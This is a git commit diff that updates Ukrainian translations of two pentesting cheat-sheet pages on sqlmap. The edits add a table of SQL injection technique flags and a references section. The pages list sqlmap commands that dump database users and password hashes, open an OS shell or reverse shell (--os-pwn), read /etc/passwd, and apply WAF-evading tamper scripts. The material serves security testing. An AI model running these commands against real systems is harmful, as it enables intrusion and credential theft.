Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin

This commit is contained in:
Translator 2025-07-30 06:30:58 +00:00
parent 8a6376e048
commit d6be653726
2 changed files with 79 additions and 36 deletions

View File

@ -21,6 +21,24 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password) --auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY --proxy=PROXY
``` ```
### Technique flags (`--technique`)
Аргумент `--technique` визначає, які методи SQL-ін'єкцій sqlmap спробує.
Кожен символ у рядку представляє техніку:
| Літера | Техніка | Опис |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Використовує умови true/false для виведення даних |
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів |
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
| S | Stacked queries | Додає додаткові оператори, розділені `;` |
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`), щоб виявити ін'єкцію |
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS |
Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку:
```bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
### Отримати інформацію ### Отримати інформацію
#### Внутрішній #### Внутрішній
@ -31,7 +49,7 @@
--users #Get usernames od DB --users #Get usernames od DB
--passwords #Get passwords of users in DB --passwords #Get passwords of users in DB
``` ```
#### DB дані #### Дані БД
```bash ```bash
--all #Retrieve everything --all #Retrieve everything
--dump #Dump DBMS database table entries --dump #Dump DBMS database table entries
@ -53,7 +71,7 @@ sqlmap -r req.txt --current-user
sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id sqlmap -u "http://example.com/?id=*" -p id
``` ```
### Впровадження POST запиту ### Впровадження запиту POST
```bash ```bash
sqlmap -u "http://example.com" --data "username=*&password=*" sqlmap -u "http://example.com" --data "username=*&password=*"
``` ```
@ -87,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter #Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
``` ```
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів ### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів
```bash ```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -117,8 +135,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
``` ```
| Tamper | Опис | | Tamper | Опис |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий еквівалент UTF-8 | | apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний еквівалент | | apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | | appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у Base64 | | base64encode.py | Кодує всі символи в заданому payload у Base64 |
| between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' | | between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' |
@ -132,7 +150,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" | | charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' | | equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
| escapequotes.py | Екранує лапки \(' і "\) | | escapequotes.py | Екранує лапки \(' і "\) |
| greatest.py | Замінює оператор більше ніж \('&gt;'\) на його еквівалент 'GREATEST' | | greatest.py | Замінює оператор більше ніж \('&gt;'\) на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом | | halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' | | ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар | | modsecurityversioned.py | Обгортає повний запит у версійний коментар |
@ -155,7 +173,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) | | space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) |
| space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) | | space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) |
| space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | | space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні еквіваленти \(&& і | | symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | | unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) | | unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' | | uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
@ -164,4 +182,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL | | versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' | | xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -23,6 +23,23 @@
--proxy=http://127.0.0.1:8080 --proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
``` ```
### Technique flags (`--technique`)
Опція `--technique` дозволяє обмежити або змінити порядок технік SQL-ін'єкцій, які тестуватиме sqlmap. Кожна літера відповідає різному класу корисних навантажень:
| Літера | Техніка | Опис |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Використовує умови true/false у відповіді сторінки для виведення результатів |
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для витягування даних |
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
| S | Stacked queries | Додає додаткові оператори, розділені SQL-роздільником (`;`) |
| T | Time-based blind | Спирається на затримки `SLEEP/WAITFOR` для виявлення ін'єкційних умов |
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()` або ексфільтрацію DNS для витягування даних |
За замовчуванням порядок, який буде дотримуватись sqlmap, - це `BEUSTQ` (всі техніки). Ви можете змінити як порядок, так і підмножину. Наприклад, наступна команда **лише** спробує техніки UNION query та Time-based blind, спочатку намагаючись UNION:
```bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
```
### Отримати інформацію ### Отримати інформацію
#### Внутрішній #### Внутрішній
@ -34,7 +51,7 @@
--passwords #Get passwords of users in DB --passwords #Get passwords of users in DB
--privileges #Get privileges --privileges #Get privileges
``` ```
#### Дані БД #### DB дані
```bash ```bash
--all #Retrieve everything --all #Retrieve everything
--dump #Dump DBMS database table entries --dump #Dump DBMS database table entries
@ -43,13 +60,13 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
``` ```
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструменту, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно. Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструмента, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
## Місце ін'єкції ## Injection place
### З захоплення Burp/ZAP ### From Burp/ZAP capture
Захопіть запит і створіть файл req.txt. Захопіть запит і створіть файл req.txt
```bash ```bash
sqlmap -r req.txt --current-user sqlmap -r req.txt --current-user
``` ```
@ -86,11 +103,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
### Eval ### Eval
**Sqlmap** дозволяє використовувати `-e` або `--eval`, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**: **Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у кастомних способах перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
```bash ```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
``` ```
### Шелл ### Shell
```bash ```bash
#Exec command #Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash ```bash
--file-read=/etc/passwd --file-read=/etc/passwd
``` ```
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів ### Обхід вебсайту з SQLmap та автоматичне використання експлойтів
```bash ```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -137,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
``` ```
### Tamper ### Tamper
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md). Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
```bash ```bash
--tamper=name_of_the_tamper --tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -147,7 +164,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог | | apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог | | apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | | appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у Base64 | | base64encode.py | Кодує всі символи в заданому payload у форматі Base64 |
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' | | between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE | | bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | | chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
@ -171,7 +188,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру | | randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів | | randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок | | securesphere.py | Додає спеціально підготовлений рядок |
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS | | sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення в журналах DBMS |
| space2comment.py | Замінює символ пробілу (' ') на коментарі | | space2comment.py | Замінює символ пробілу (' ') на коментарі |
| space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
@ -189,5 +206,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| varnish.py | Додає HTTP заголовок 'X-originating-IP' | | varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL | | versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL | | versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}